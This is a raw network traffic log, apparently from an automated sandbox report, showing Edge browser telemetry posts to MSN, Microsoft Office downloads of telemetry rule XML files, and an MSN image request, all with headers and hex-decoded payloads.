Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49918	20.42.65.91	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:56 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749593624&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5005 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 23:19:56 UTC	5005	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 32 33 3a 31 39 3a 35 33 2e 36 32 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 37 31 39 34 33 62 33 2d 62 38 63 31 2d 34 65 39 64 2d 39 35 32 65 2d 31 39 38 64 33 33 62 38 61 36 33 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 39 34 32 30 36 31 37 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T23:19:53.623Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"b71943b3-b8c1-4e9d-952e-198d33b8a634","epoch":"2294206174"},"app":{"locale
2024-11-27 23:19:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=29100f1013c64873889702e939f0c064&HASH=2910&LV=202411&V=4&LU=1732749596294; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 23:19:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9055377cc05442d89f7450625bfde049; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 23:49:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2670 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 23:19:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49920	20.42.65.91	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:56 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749594483&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5203 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; msnup=
2024-11-27 23:19:56 UTC	5203	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 32 33 3a 31 39 3a 35 34 2e 34 38 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 37 31 39 34 33 62 33 2d 62 38 63 31 2d 34 65 39 64 2d 39 35 32 65 2d 31 39 38 64 33 33 62 38 61 36 33 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 39 34 32 30 36 31 37 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T23:19:54.481Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"b71943b3-b8c1-4e9d-952e-198d33b8a634","epoch":"2294206174"},"app":{"locale
2024-11-27 23:19:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=13f179c333d3415dbdf25a722ae505f0&HASH=13f1&LV=202411&V=4&LU=1732749596718; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 23:19:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4753d08d624c4b208ee1196c632c7a14; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 23:49:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2235 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 23:19:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:57 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:57 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a67ffab-601e-00ab-7222-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231957Z-174f7845968pght8hC1EWRyvxg00000000qg00000000erz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 23:19:57 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:57 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:57 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231957Z-174f7845968kdththC1EWRzvxn0000000a00000000006atn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:57 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49922	20.42.65.91	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:57 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749594613&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9575 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; msnup=
2024-11-27 23:19:57 UTC	9575	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 32 33 3a 31 39 3a 35 34 2e 36 31 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 37 31 39 34 33 62 33 2d 62 38 63 31 2d 34 65 39 64 2d 39 35 32 65 2d 31 39 38 64 33 33 62 38 61 36 33 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 39 34 32 30 36 31 37 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-27T23:19:54.612Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"b71943b3-b8c1-4e9d-952e-198d33b8a634","epoch":"2294206174"},"app":{"loc
2024-11-27 23:19:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=39566750709346628d583da6150ad5c0&HASH=3956&LV=202411&V=4&LU=1732749597237; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 23:19:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9eaafdec65394129a1b407b699786618; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 23:49:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2624 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 23:19:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:57 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:57 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231957Z-174f7845968xlwnmhC1EWR0sv80000000xhg000000000ykg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231958Z-174f7845968psccphC1EWRuz9s0000000xyg000000001mp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:59 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231959Z-174f7845968px8v7hC1EWR08ng0000000xy0000000003cb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:59 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231959Z-174f7845968jrjrxhC1EWRmmrs0000000xrg00000000amvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49927	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:20:00 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:20:01 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: 5763b2c5-4e9a-486b-a0ff-57403523bc58 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=102387 Expires: Fri, 29 Nov 2024 03:46:28 GMT Date: Wed, 27 Nov 2024 23:20:01 GMT Connection: close
